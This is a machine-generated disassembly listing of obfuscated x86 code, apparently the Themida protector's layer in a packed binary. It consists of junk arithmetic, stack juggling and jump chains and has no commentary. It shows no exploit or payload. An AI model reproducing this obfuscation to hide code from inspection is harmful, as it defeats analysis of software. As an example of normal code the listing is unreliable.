loc_591040: ; CODE XREF: sub_59196D-5EB5j
mov ebx, 135418E3h
sub edi, ebx
pop ebx
xor ecx, edi
mov edi, [esp+10h+var_12+2]
add esp, 4
push 2365h
mov [esp+10h+var_12+2], eax
push esi
jmp loc_593F02
; ---------------------------------------------------------------------------
loc_59105E: ; CODE XREF: sub_59196D+6CB3j
pop edx
push 1B54h
mov [esp+14h+var_16+2], ecx
mov ch, 1Ch
add ch, 0Ch
sub al, 0A0h
add al, ch
add al, 0A0h
jmp loc_596647
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_591077 proc near ; CODE XREF: sub_59196D+D1Bj
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ecx
jmp loc_592911
sub_591077 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_591082: ; CODE XREF: sub_59196D+6084j
sub edi, 89D035FDh
sub ebx, edi
pop edi
push edx
mov edx, 1D1C64ADh
shr edx, 1
xor edx, 82E3F18h
jmp loc_58BB52
; ---------------------------------------------------------------------------
loc_59109E: ; CODE XREF: sub_59196D+4407j
add ebx, esi
pop esi
jmp loc_58E5F5
; ---------------------------------------------------------------------------
loc_5910A6: ; CODE XREF: sub_59196D-4802j
and esi, 37935EB4h
neg esi
jnp loc_58D9E2
not esi
xor esi, 10035A1Dh
sub edx, esi
pop esi
xor edx, [esp+8+var_8]
loc_5910C2: ; CODE XREF: sub_59196D-610j
pop edi
pop edx
push 3859h
jmp loc_5905B5
; ---------------------------------------------------------------------------
loc_5910CE: ; CODE XREF: sub_59196D+3FBCj
pop dword ptr [eax]
push dword ptr [esp+0]
mov edi, [esp+4+var_4]
add esp, 4
jmp sub_590932
; ---------------------------------------------------------------------------
loc_5910E1: ; CODE XREF: sub_59196D+4CA3j
add ebx, edx
pop edx
jmp loc_58E53C
; ---------------------------------------------------------------------------
loc_5910E9: ; CODE XREF: sub_59196D+17C3j
pop edx
xor edx, 10FC68A5h
neg edx
shr edx, 1
push edx
sub [esp-4+arg_0], 0FFFFFFFFh
jmp loc_5956AD
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_58E22B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_591115: ; CODE XREF: sub_59196D+5C9j
pop ebp
jmp loc_59456A
; ---------------------------------------------------------------------------
loc_59111B: ; CODE XREF: sub_59196D+69F8j
pop eax
shr eax, 4
js loc_58C2B0
jmp loc_58BBBE
; ---------------------------------------------------------------------------
loc_59112A: ; CODE XREF: sub_59196D+141Aj
and esi, 3BDA1FE7h
jbe loc_592455
xor esi, 0C77FFB99h
jmp loc_598336
; ---------------------------------------------------------------------------
loc_591141: ; CODE XREF: sub_59196D-507Dj
shr eax, 1
add eax, 0D454E886h
sub esi, eax
jmp loc_59279A
; ---------------------------------------------------------------------------
loc_59114F: ; CODE XREF: sub_59196D+3F1Fj
push esp
mov edx, [esp+3Ah+var_3C+2]
add esp, 4
add edx, 4
sub edx, 4
xchg edx, [esp+36h+var_36]
mov esp, [esp+36h+var_36]
mov [esp+36h+var_36], ebp
mov ebp, 168B1809h
add ebp, 47D87810h
sub ebp, 0FFFFFFFFh
shl ebp, 4
push ebx
mov ebx, 7FBF42E9h
add ebp, ebx
pop ebx
add ebp, 6F1B9A85h
sub edx, ebp
pop ebp
and eax, edx
pop edx
or eax, eax
jz loc_592C0C
push dword ptr [edi+1Ch]
add [esp+32h+var_32], 32321166h
mov ecx, [esp+32h+var_32]
push ebx
sub esp, 4
push esp
pop [esp+3Eh+var_40+2]
add [esp+3Ah+var_3C+2], 4
pop ebx
add ebx, 4
push ecx
mov ecx, 6BB80E01h
and ecx, 170F727Eh
sub ecx, 75C7CF9h
jb loc_598507
xor ecx, 6AB25BB1h
sub ecx, 83616976h
loc_5911E0: ; CODE XREF: sub_59196D-291Aj
xchg esi, [esp+3Ah+var_3C+2]
pop esp
jmp loc_591614
; ---------------------------------------------------------------------------
loc_5911E9: ; CODE XREF: sub_59196D+685Cj
push edx
mov dh, 66h
sub dh, 8Ch
xor dh, 6Ch
jmp loc_596F0A
; ---------------------------------------------------------------------------
loc_5911F7: ; CODE XREF: sub_59196D+6B80j
sub ebx, 0FFFFFFFFh
shr ebx, 7
jz loc_596D03
jmp loc_58C0F3
; ---------------------------------------------------------------------------
loc_59120B: ; CODE XREF: sub_59196D+1193j
add edx, 49765BB8h
sub edx, 643F30FEh
xor edx, 35285BD5h
sub edi, edx
pop edx
push ecx
jmp loc_58C506
; ---------------------------------------------------------------------------
loc_591226: ; CODE XREF: sub_59196D-2328j
mov bx, word ptr [esp-0Ch+arg_8]
add esp, 2
push [esp-10h+arg_C]
mov ecx, [esp-0Ch+arg_8]
add esp, 4
jmp loc_58B4AE
; ---------------------------------------------------------------------------
loc_59123E: ; CODE XREF: sub_59196D-104j
mov ebp, 5B627D53h
inc ebp
shr ebp, 6
shl ebp, 2
add ebp, 0FA49D830h
add esi, 16560638h
add esi, ebp
sub esi, 16560638h
jmp loc_592495
; ---------------------------------------------------------------------------
loc_591263: ; CODE XREF: sub_59196D+2102j
pop ebp
push edx
not [esp-10h+arg_C]
jmp loc_590EA0
; ---------------------------------------------------------------------------
loc_59126D: ; CODE XREF: sub_59196D-3E58j
mov esi, [esp+1Ch+var_1E+2]
add esp, 4
add edx, 2
xchg edx, [esp+18h+var_1A+2]
pop esp
mov ax, word ptr [esp+14h+var_16+2]
push 27D7h
jmp loc_58DA48
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_59128B proc near ; CODE XREF: sub_59196D-12FBj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0058DB39 SIZE 00000008 BYTES
push ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp+0]
pop esp
mov [esp-4+arg_0], esi
push ebx
mov ebx, 2183A6Fh
sub ebx, 0EECADB82h
push ebx
add [esp+4+var_4], 0EE1C6Fh
pop esi
sub esi, 0EE1C6Fh
pop ebx
add ecx, esi
pop esi
add ecx, edi
push ebp
mov ebp, 134D5EEDh
sub ecx, 7C903F55h
sub ecx, ebp
add ecx, 7C903F55h
pop ebp
mov [ecx], al
mov ecx, [esp+0]
jmp loc_58DB39
sub_59128B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5912E1: ; CODE XREF: Themida_:0058EFEBj
jmp loc_58B37B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_5912E6: ; CODE XREF: sub_59196D+24BAj
pop edi
xor edx, ebx
mov ebx, [esp+14h+var_16+2]
add esp, 4
jmp loc_58DE79
; ---------------------------------------------------------------------------
loc_5912F7: ; CODE XREF: sub_59196D-10EDj
add edi, 77FB6DDFh
jmp loc_5907C7
; ---------------------------------------------------------------------------
loc_591302: ; CODE XREF: sub_59196D-6544j
pop esi
add ecx, edx
pop edx
mov [edx+30h], ecx
mov ecx, [esp+0]
add esp, 4
popa
popf
retn
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
jmp loc_58B37B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_591317: ; CODE XREF: sub_59196D+5FD0j
mov word ptr [esp-28h+arg_24], dx
push ax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_591323: ; CODE XREF: sub_59196D+26FFj
pop esp
mov [esp-26h+arg_20+2], esi
push 18EBh
mov [esp-22h+arg_1C+2], edi
jmp loc_59654E
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D7D7
loc_591334: ; CODE XREF: sub_58D7D7+Ej
pop ecx
jmp loc_590132
; END OF FUNCTION CHUNK FOR sub_58D7D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_59133A: ; CODE XREF: sub_59196D-4254j
mov ebx, 66E46C0Bh
jmp loc_59176D
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_591344 proc near ; CODE XREF: sub_59196D+14E2j
; FUNCTION CHUNK AT 0058E554 SIZE 00000013 BYTES
push ebp
mov ebp, esp
push esi
jmp loc_58E554
sub_591344 endp
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
mov esi, esp
jmp loc_58F780
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_591359: ; CODE XREF: sub_59196D-6401j
sub [esp+18h+var_16+2], edi
jmp loc_5910C2
; ---------------------------------------------------------------------------
loc_591362: ; CODE XREF: sub_59196D-27A1j
xor dl, 84h
sub al, 19h
jmp loc_58D71E
; ---------------------------------------------------------------------------
loc_59136C: ; CODE XREF: sub_59196D+69D6j
push [esp+20h+var_22+2]
mov ecx, [esp+24h+var_26+2]
add esp, 4
push 3A18h
mov [esp+24h+var_26+2], edx
mov edx, esp
jmp loc_594814
; ---------------------------------------------------------------------------
loc_591387: ; CODE XREF: sub_59196D-3BDEj
shr edi, 1
push edx
jmp loc_59822C
; ---------------------------------------------------------------------------
loc_59138F: ; CODE XREF: sub_59196D-5714j
sub edi, eax
pop eax
mov esi, edi
pop edi
jmp loc_590C68
; ---------------------------------------------------------------------------
loc_59139A: ; CODE XREF: sub_59196D+67CAj
and edx, 40413B1Dh
add edx, 0F201DFFDh
sub eax, edx
pop edx
add eax, esi
jmp loc_58B577
; ---------------------------------------------------------------------------
loc_5913B0: ; CODE XREF: sub_59196D-E9Fj
pop esp
sub esp, 4
mov [esp+3Ch+var_3C], ecx
push edx
mov edx, 490B5062h
sub esp, 4
mov [esp+44h+var_44], ebp
mov ebp, 490B5061h
push esi
jmp loc_592F3A
; ---------------------------------------------------------------------------
loc_5913D4: ; CODE XREF: sub_59196D+E64j
mov ch, 89h
mov al, ch
pop ecx
add al, 8Ah
mov bl, al
jmp loc_593A24
; ---------------------------------------------------------------------------
loc_5913E2: ; CODE XREF: sub_59196D+3E79j
pop ebp
mov ebx, [esp+40h+var_40]
add esp, 4
or ecx, ecx
jz loc_593723
push 6484h
mov [esp+40h+var_40], esp
push ebp
push eax
jmp loc_598445
; ---------------------------------------------------------------------------
loc_591400: ; CODE XREF: sub_59196D+2136j
xor edi, ebp
pop ebp
mov esi, edi
pop edi
push edx
mov edx, 11A20492h
push edx
jmp loc_596814
; ---------------------------------------------------------------------------
loc_591412: ; CODE XREF: sub_59196D-16A2j
pop ecx
push edi
mov edi, 2
sub eax, 76DF5E22h
add eax, edi
jmp loc_5904F5
; ---------------------------------------------------------------------------
loc_591425: ; CODE XREF: sub_59196D-3C1j
jl loc_58D62E
sub ecx, 7C663F5Ch
jmp loc_5941C2
; ---------------------------------------------------------------------------
loc_591436: ; CODE XREF: sub_59196D+4816j
push 0A39h
mov [esp+1Ch+var_1E+2], ebp
jmp loc_592249
; ---------------------------------------------------------------------------
loc_591443: ; CODE XREF: sub_59196D-DC8j
pop ecx
xor eax, 15DB3148h
push ebp
jmp loc_591E13
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_59144F: ; CODE XREF: Themida_:00591552j
push ebp
push esp
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], esi
push 15E7h
mov [esp], esp
add dword ptr [esp], 4
pop esi
push edi
mov edi, 6D55495Dh
sub edi, 5F3C4981h
sub edi, 0E18FFD8h
push ebp
mov ebp, 0C485E2Dh
not ebp
and ebp, 0AD35D5Bh
xor ebp, 5AF56F7Eh
not ebp
jmp loc_5968B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_5914A1: ; CODE XREF: sub_59196D-2DE4j
push ecx
mov ecx, 4D0375C1h
xor esi, ecx
pop ecx
jmp loc_596AED
; ---------------------------------------------------------------------------
loc_5914AF: ; CODE XREF: sub_59196D-4055j
jns loc_59246B
push esi
push edx
jmp loc_58E848
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
mov edi, ebp
pop eax
; START OF FUNCTION CHUNK FOR sub_59196D
loc_5914BF: ; CODE XREF: sub_59196D-4C88j
add al, 4Ch
jmp loc_593D81
; ---------------------------------------------------------------------------
loc_5914C6: ; CODE XREF: sub_59196D-47CFj
shr ecx, 7
jmp loc_593B03
; ---------------------------------------------------------------------------
loc_5914CE: ; CODE XREF: sub_59196D-539Bj
add edx, esi
pop esi
jmp loc_590533
; ---------------------------------------------------------------------------
loc_5914D6: ; CODE XREF: sub_59196D-3FA8j
jmp loc_59717D
; ---------------------------------------------------------------------------
loc_5914DB: ; CODE XREF: sub_59196D+91Cj
add esp, 4
add esp, 4
push cx
jmp loc_593145
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_5914EB proc near ; CODE XREF: sub_59196D-4843j
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebx
mov ebx, 4
add esi, ebx
push [esp+4+var_4]
mov ebx, [esp+8+var_8]
add esp, 4
sub esp, 4
mov [esp+8+var_8], ebx
jmp loc_5963BD
sub_5914EB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_591507: ; CODE XREF: sub_59196D+6159j
xchg edx, [esp+0]
pop esp
push ebx
jmp loc_58C06D
; ---------------------------------------------------------------------------
loc_591511: ; CODE XREF: sub_59196D-3B79j
xor eax, esi
xor esi, eax
xor eax, esi
push esi
push esi
push [esp+36h+var_32]
pop esi
pop [esp+36h+var_36]
jmp loc_594AE8
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_591526 proc near ; DATA XREF: Themida_:0058B1F0o
mov cx, [esp+0]
push edi
mov edi, esp
push ebx
push eax
mov eax, 28E67C6h
jmp loc_5932E8
sub_591526 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_591539: ; CODE XREF: sub_59196D-56F9j
add esp, 4
push 2360h
mov [esp+1Ch+var_1E+2], eax
mov al, 14h
push ebx
mov bl, 4Bh
jmp loc_58F22C
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_59154E: ; DATA XREF: Themida_:0058B0D4o
mov cx, [esp]
jmp loc_59144F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_591557: ; CODE XREF: sub_59196D-2F90j
mov ebp, 0B3D8D6F5h
jmp loc_5967AC
; ---------------------------------------------------------------------------
loc_591561: ; CODE XREF: sub_59196D-5219j
xor ebp, 25C2748h
xor ebp, 6ED062DBh
shr ebp, 5
jmp loc_5923FA
; ---------------------------------------------------------------------------
loc_591575: ; CODE XREF: sub_59196D-1A93j
or ebx, 63230EA2h
jle loc_592736
add ebx, 61BB3840h
mov ebp, ebx
pop ebx
add eax, ebp
pop ebp
loc_59158D: ; CODE XREF: sub_59196D-5706j
add esi, 4
jmp loc_592A26
; ---------------------------------------------------------------------------
loc_591598: ; CODE XREF: sub_59196D+2AA7j
mov [esp+10h+var_12+2], ecx
push 0E1E5736h
mov ecx, [esp+14h+var_16+2]
add esp, 4
xor ecx, 4DFC7C56h
jmp loc_591425
; ---------------------------------------------------------------------------
loc_5915B1: ; CODE XREF: sub_59196D+23CEj
sub eax, esi
push edi
jmp loc_58DD7F
; ---------------------------------------------------------------------------
loc_5915B9: ; CODE XREF: sub_59196D+195j
xor edx, 76D5B12h
mov edi, edx
pop edx
jmp loc_58F94A
; ---------------------------------------------------------------------------
loc_5915C7: ; CODE XREF: sub_59196D+67A5j
mov [esp+10h+var_12+2], ebx
mov ebx, 0
add ebx, edx
mov [ebx], al
pop ebx
mov edx, [esp+0Ch+var_C]
add esp, 4
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5915E2: ; CODE XREF: sub_59196D-6343j
; sub_59196D-DFDj ...
mov ebp, eax
jmp loc_58B78B
; ---------------------------------------------------------------------------
loc_5915E9: ; CODE XREF: Themida_:loc_58C76Aj
; sub_59196D+5DABj
mov eax, 4
add edi, eax
pop eax
push 0EEAh
mov [esp+18h+var_1A+2], ebp
push edx
mov edx, 17F424F9h
push eax
mov eax, 118A0F12h
and eax, 59B413B2h
add eax, 1738247Ah
jmp loc_5915E2
; ---------------------------------------------------------------------------
loc_591614: ; CODE XREF: sub_59196D-789j
mov [esp+36h+var_36], eax
push 3B22h
mov [esp+3Ah+var_3C+2], ebx
jmp loc_5943C1
; ---------------------------------------------------------------------------
loc_591624: ; CODE XREF: sub_59196D-1F11j
add esp, 4
jmp loc_591D51
; ---------------------------------------------------------------------------
loc_59162F: ; CODE XREF: sub_59196D+32D6j
mov word ptr [esp+4Eh+var_4E], ax
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_591638: ; CODE XREF: sub_59196D-2B8Fj
mov [esp+34h+var_36+2], edx
mov edx, esp
add edx, 4
push ebx
mov ebx, 4
add edx, ebx
mov ebx, [esp+0]
add esp, 4
xchg edx, [esp+34h+var_36+2]
mov esp, [esp+34h+var_36+2]
push edx
jmp loc_591F3B
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_591660: ; CODE XREF: Themida_:0058C96Fj
pop ebx
sub dword ptr [esp+4], 5F0E2AFBh
sub [esp+4], edi
add dword ptr [esp+4], 5F0E2AFBh
mov edi, [esp]
jmp loc_58F9F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_59167D: ; CODE XREF: sub_59196D+4293j
sub edi, 0EE5635DFh
jmp loc_596876
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_591688: ; CODE XREF: Themida_:0058E7D3j
mov [esp], eax
jmp loc_58FBBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_591690: ; CODE XREF: sub_59196D-4AE4j
imul cl
jmp loc_5974BD
; ---------------------------------------------------------------------------
loc_591697: ; CODE XREF: sub_59196D-36FCj
pop ebx
pop edi
sub esp, 4
mov [esp+24h+var_26+2], eax
mov eax, 5D9C78C6h
jmp loc_5975F1
; ---------------------------------------------------------------------------
loc_5916AC: ; CODE XREF: sub_59196D-276Aj
sub ebx, ebp
pop ebp
xor edx, ebx
pop ebx
and eax, edx
mov edx, [esp+14h+var_16+2]
push eax
jmp loc_594FC3
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_5916BD: ; DATA XREF: Themida_:0058B0CCo
mov ax, [esp]
jmp loc_58E7BD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_5916C6: ; CODE XREF: sub_59196D-533Fj
add [esp+0Ch+var_C], 4
push [esp+0Ch+var_C]
pop edx
add esp, 4
push ebx
push edx
push 7042C19h
pop edx
xor edx, 7042C1Dh
mov ebx, edx
mov edx, [esp+10h+var_12+2]
jmp loc_59368B
; ---------------------------------------------------------------------------
loc_5916EC: ; CODE XREF: sub_59196D+4170j
xchg eax, [esp+10h+var_12+2]
jmp loc_598352
; ---------------------------------------------------------------------------
loc_5916F4: ; CODE XREF: sub_59196D+2830j
sub esi, 0CD37C5Dh
jge loc_5924CC
jmp loc_5948C1
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
not ecx
inc ecx
jmp loc_59709D
; ---------------------------------------------------------------------------
loc_59170D: ; DATA XREF: Themida_:0058B330o
neg word ptr [esp]
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_591717: ; CODE XREF: sub_59196D+2CE3j
jno loc_590DDA
neg esi
xor esi, 0FB636B2h
ja loc_5983D0
pop ecx
loc_59172C: ; CODE XREF: sub_59196D-4CB2j
shr edi, 3
sub edi, 0ED7A4E0Eh
and ebx, edi
pop edi
jmp loc_58E9D3
; ---------------------------------------------------------------------------
loc_59173D: ; CODE XREF: sub_59196D-B04j
sub edx, ebx
pop ebx
jmp sub_58BB31
; ---------------------------------------------------------------------------
loc_591745: ; CODE XREF: sub_59196D+3F53j
add esi, 4
xchg esi, [esp+0]
pop esp
sub ecx, 0C5F2FC0Bh
mov edx, ecx
jmp loc_594A98
; ---------------------------------------------------------------------------
loc_59175C: ; CODE XREF: sub_59196D-314Dj
sub al, 0F8h
jmp loc_58D04D
; ---------------------------------------------------------------------------
loc_591763: ; CODE XREF: sub_59196D-B3Cj
pop edi
mov edi, [esp+28h+var_2A+2]
push ecx
jmp loc_5974FD
; ---------------------------------------------------------------------------
loc_59176D: ; CODE XREF: sub_59196D-62Ej
mov edi, 0B643F596h
add edi, ebx
pop ebx
mov ebp, edi
pop edi
add ebp, 0FFFFFFFFh
sub ebp, 1D28619Ch
jmp loc_593CC6
; ---------------------------------------------------------------------------
loc_591786: ; CODE XREF: sub_59196D+5014j
push ebp
mov ebp, 4
jmp loc_58DEF1
; ---------------------------------------------------------------------------
loc_591791: ; CODE XREF: sub_59196D+1A89j
dec ecx
jmp loc_5906DA
; ---------------------------------------------------------------------------
loc_591797: ; CODE XREF: sub_59196D+4F41j
mov edi, ebp
push [esp+32h+var_32]
pop ebp
jmp loc_59535D
; ---------------------------------------------------------------------------
loc_5917A2: ; CODE XREF: sub_59196D+1E89j
mov [esp+32h+var_32], eax
jmp loc_58F90F
; ---------------------------------------------------------------------------
loc_5917AA: ; CODE XREF: sub_59196D-65CEj
mov ecx, 480641D3h
jmp loc_597413
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EF7E
loc_5917B4: ; CODE XREF: sub_58EF7E+15j
mov ebx, [esp+0]
add esp, 4
jmp loc_595A3C
; END OF FUNCTION CHUNK FOR sub_58EF7E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_5917BF: ; CODE XREF: sub_59196D-4849j
pop esi
sub edx, ebp
push ebp
push esi
mov esi, 592B11B8h
jmp loc_597479
; ---------------------------------------------------------------------------
loc_5917CE: ; CODE XREF: sub_59196D+4529j
pop esi
jmp loc_58CC22
; ---------------------------------------------------------------------------
loc_5917D4: ; CODE XREF: sub_59196D+3381j
push cx
mov cx, 5BCBh
sub ax, cx
pop cx
jmp loc_58C5C3
; ---------------------------------------------------------------------------
loc_5917E4: ; CODE XREF: sub_59196D:loc_58B7D9j
; sub_59196D:loc_58C361j
sub ebp, 57CD3593h
jns loc_594B2A
jmp loc_58FAC9
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
inc ebx
mov ah, 0E0h
mov cl, 0A6h
; =============== S U B R O U T I N E =======================================
sub_5917FA proc near ; CODE XREF: sub_59196D+63B1j
var_6 = word ptr -6
; FUNCTION CHUNK AT 0058EA6C SIZE 0000000A BYTES
push ebx
mov bh, 1Eh
push small 2290h
mov [esp+6+var_6], cx
mov ch, 0EBh
add bh, ch
jmp loc_58EA6C
sub_5917FA endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_59180E: ; CODE XREF: sub_59196D+4F8Dj
push dx
mov dh, 80h
add al, dh
pop dx
add al, bl
sub al, 80h
jmp loc_594EF2
; ---------------------------------------------------------------------------
loc_59181F: ; CODE XREF: sub_59196D-10D9j
mov edi, 3176126Dh
mov ebp, 4AF47597h
jmp loc_58BD69
; ---------------------------------------------------------------------------
loc_59182E: ; CODE XREF: sub_59196D-56CFj
or dl, 61h
push ebx
mov bl, 0F4h
shr bl, 7
dec bl
jmp loc_594D5E
; ---------------------------------------------------------------------------
loc_59183E: ; CODE XREF: sub_59196D-254Fj
add ebx, 334B6B65h
add ebx, 1507045Bh
sub ebx, esi
jmp loc_592427
; ---------------------------------------------------------------------------
loc_591851: ; CODE XREF: sub_59196D-1801j
; sub_59196D+35A3j
push esi
jmp sub_58F0FA
; ---------------------------------------------------------------------------
loc_591857: ; CODE XREF: sub_59196D-5E69j
add edi, 4
jmp loc_58EFC9
; ---------------------------------------------------------------------------
loc_59185F: ; CODE XREF: sub_59196D-17F1j
jmp loc_58F517
; ---------------------------------------------------------------------------
loc_591864: ; CODE XREF: sub_59196D+4A5Bj
xchg ebx, [esp+1Ch+var_1E+2]
pop esp
push ebp
jmp loc_59123E
; ---------------------------------------------------------------------------
loc_59186E: ; CODE XREF: sub_59196D+2558j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_591873: ; CODE XREF: sub_59196D+117Fj
add esp, 4
add ebx, ebp
pop ebp
not ebx
add ebx, 4B83501h
push edi
mov edi, 20263190h
push ecx
mov ecx, 59765FE4h
jmp loc_598375
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_591895: ; DATA XREF: Themida_:0058B110o
mov ax, [esp]
push ebx
jmp loc_593366
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_59189F: ; CODE XREF: sub_59196D+C83j
add esp, 4
jmp loc_58E524
; ---------------------------------------------------------------------------
loc_5918A7: ; CODE XREF: sub_59196D+63CFj
mov eax, [esp+18h+var_1A+2]
add esp, 4
push 1868h
mov [esp+18h+var_1A+2], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+18h+var_1A+2]
mov esp, [esp+18h+var_1A+2]
jmp loc_58D7C3
; ---------------------------------------------------------------------------
loc_5918CC: ; CODE XREF: sub_59196D+3AC9j
mov esi, 6E17280Ch
add esi, 0A6CCD8CEh
and ebp, esi
pop esi
jmp loc_597432
; ---------------------------------------------------------------------------
loc_5918DF: ; CODE XREF: sub_59196D-6498j
add ch, dl
pop edx
jmp loc_590F5E
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_5918E7 proc near ; CODE XREF: sub_59196D-2BD2j
; FUNCTION CHUNK AT 0058FEF4 SIZE 0000000E BYTES
push ebp
mov ebp, 4
add edi, ebp
pop ebp
jmp loc_58FEF4
sub_5918E7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_5918F5: ; CODE XREF: sub_59196D-6355j
pop ecx
add al, 76h
sub al, dh
sub al, 76h
mov dx, word ptr [esp+10h+var_12+2]
add esp, 2
push 0CFDh
mov [esp+10h+var_12+2], ecx
mov cl, 12h
or cl, 7Dh
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+14h+var_16+2]
jmp loc_590572
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_59192A proc near ; CODE XREF: sub_59196D+2F2Ej
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0058EBBC SIZE 0000000B BYTES
push ebp
mov ebp, 4
sub ebx, ebp
pop ebp
xchg ebx, [esp+0]
pop esp
mov [esp-4+arg_0], ecx
push edx
mov dl, 8Ah
shl dl, 4
jmp loc_58EBBC
sub_59192A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_591945: ; CODE XREF: sub_59196D-2FE8j
sub ebp, 67712331h
jmp loc_58B44D
; ---------------------------------------------------------------------------
loc_591950: ; CODE XREF: sub_59196D-427Aj
add esi, 6ADB07FEh
and esi, 3E337CD7h
xor esi, 4F331BA8h
push ecx
mov ecx, 451223FEh
jmp loc_590BFE
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_59196D proc near ; DATA XREF: Themida_:0058B124o
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5A = dword ptr -5Ah
var_54 = dword ptr -54h
var_4E = dword ptr -4Eh
var_4A = dword ptr -4Ah
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_36 = dword ptr -36h
var_32 = dword ptr -32h
var_2E = dword ptr -2Eh
var_2A = dword ptr -2Ah
var_26 = dword ptr -26h
var_22 = dword ptr -22h
var_1E = dword ptr -1Eh
var_1A = dword ptr -1Ah
var_16 = dword ptr -16h
var_12 = dword ptr -12h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
arg_18 = dword ptr 1Ch
arg_1C = dword ptr 20h
arg_20 = dword ptr 24h
arg_24 = dword ptr 28h
arg_28 = dword ptr 2Ch
arg_2C = dword ptr 30h
arg_30 = dword ptr 34h
arg_34 = dword ptr 38h
; FUNCTION CHUNK AT 0058B37B SIZE 000000C9 BYTES
; FUNCTION CHUNK AT 0058B44D SIZE 0000008D BYTES
; FUNCTION CHUNK AT 0058B504 SIZE 000000F7 BYTES
; FUNCTION CHUNK AT 0058B602 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058B616 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058B638 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B670 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058B6AE SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0058B71B SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0058B764 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058B781 SIZE 0000005D BYTES
; FUNCTION CHUNK AT 0058B7E6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058B812 SIZE 0000004D BYTES
